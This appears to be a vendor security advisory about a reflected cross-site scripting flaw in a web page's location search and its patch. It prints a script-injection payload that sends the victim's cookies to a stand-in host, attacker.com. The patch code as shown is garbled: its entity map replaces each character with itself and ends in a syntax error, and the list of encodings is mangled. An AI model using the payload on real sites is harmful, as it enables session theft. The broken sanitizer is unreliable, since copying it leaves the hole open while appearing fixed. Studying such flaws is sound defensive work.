Search Input Rendered Without Encoding: A Reflected XSS in Location Search
A high-severity cross-site scripting (XSS) vulnerability existed in the location search feature of index.html, where user-supplied search queries were rendered into the page's DOM without HTML entity encoding. By injecting metacharacters into the search field, an attacker could break out of the intended text context and execute arbitrary JavaScript in a victim's browser.
| Affected | N/A (first-party code) |
| Fixed in | N/A (patch applied at line 282) |
| Ecosystem | N/A |
| CVE / GHSA | not assigned |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
How the Vulnerability Worked
The location search functionality accepts user input through a search field and passes it directly to searchItem.query(). The critical issue was that if search results display the original query term (a common UX pattern to confirm what was searched), that term was inserted into the DOM without sanitization.
The vulnerable code path looked like this:
onCallback:function(){
var location = $location.val();
if(location){
result = searchItem.query(location);
// results rendered with location variable unsanitized
An attacker could enter a payload like:
"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><span class="
When the search results page rendered "You searched for: "><script>…", the injected script would execute in the victim's browser, potentially stealing session cookies, redirecting to a phishing page, or modifying page content.
Why This Matters
Search functionality is often the entry point to an application—it's one of the first things users interact with. Because search queries are frequently echoed back in results pages ("Did you mean X?", "0 results for X"), they represent a natural XSS vector. A reflected XSS in search can be weaponized through a crafted URL shared in chat, email, or social media, making it trivial to deliver to a broad audience without any server-side compromise.
The Fix: HTML Entity Encoding
The fix applies proper output encoding by replacing dangerous characters with their HTML entity equivalents before the location variable is passed to searchItem.query():
onCallback:function(){
var location = $location.val();
if(location){
location = location.replace(/[&<>"']/g,function(c){
return {'&':'&','<':'<','>':'>','"':'"',"'":'''}[c];
});
result = searchItem.query(location);
This encoding layer ensures that even if an attacker submits metacharacters, they are rendered as visible text rather than interpreted as HTML or JavaScript:
<becomes<(displayed as<, no tag interpretation)>becomes>(displayed as>, no tag interpretation)&becomes&(prevents entity-based bypasses)"becomes"(prevents breakout from HTML attributes)'becomes'(prevents breakout from single-quoted attributes)
Now if the search results page renders "You searched for: "><script>…", the browser displays those characters literally and no script executes.
Why This Specific Fix Works
The encoding is applied before the search query is processed, ensuring the sanitized value is what gets stored, passed to the backend search function, and ultimately displayed. This "sanitize at the source" approach is more robust than trying to encode output at multiple render points—a single encoding layer catches all downstream uses.
The character set (&<>"') covers both HTML tag/entity context and quoted-attribute context. Because the location variable could theoretically appear in multiple places on the results page (in text, in HTML attributes, in data attributes), encoding for the union of all contexts is the safest choice.
Key Takeaways
-
User input destined for the DOM must be encoded unless it has been strictly validated against a whitelist. A search query is inherently freeform text; encoding is the only reliable defense.
-
Echoing back user input is dangerous. If you display "You searched for: {query}", encode that query. The same applies to error messages, suggestions, and confirmation text.
-
The encoding must happen early in the data flow. Encode at the point where untrusted data enters your application logic, not later when rendering. This prevents accidental use of the raw value elsewhere.
-
Character-level encoding is more reliable than context-specific filters. A simple replace of five metacharacters is less error-prone than trying to parse syntax and block specific payloads like
<script>.
How Orbis AppSec Detected This
Source: The location variable, populated from user input via the search field ($location.val())
Sink: The searchItem.query() function, which processes the location parameter; downstream rendering of search results may echo this value into the DOM
Missing control: No HTML entity encoding or validation of the location parameter before it is used in a context where special characters have meaning
CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation
Fix: Apply a character-level HTML entity encoding function to replace &, <, >, ", and ' with their entity equivalents before passing the location variable to searchItem.query()
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Reflected XSS vulnerabilities in search are among the easiest to exploit at scale because they live on high-traffic URLs and are trivial to weaponize through shared links. This fix—a simple character replacement—eliminates the attack surface entirely by ensuring user input is rendered as text, not as executable code or markup. For any application that displays user input back to users, output encoding is a foundational control that should be applied consistently across all such points.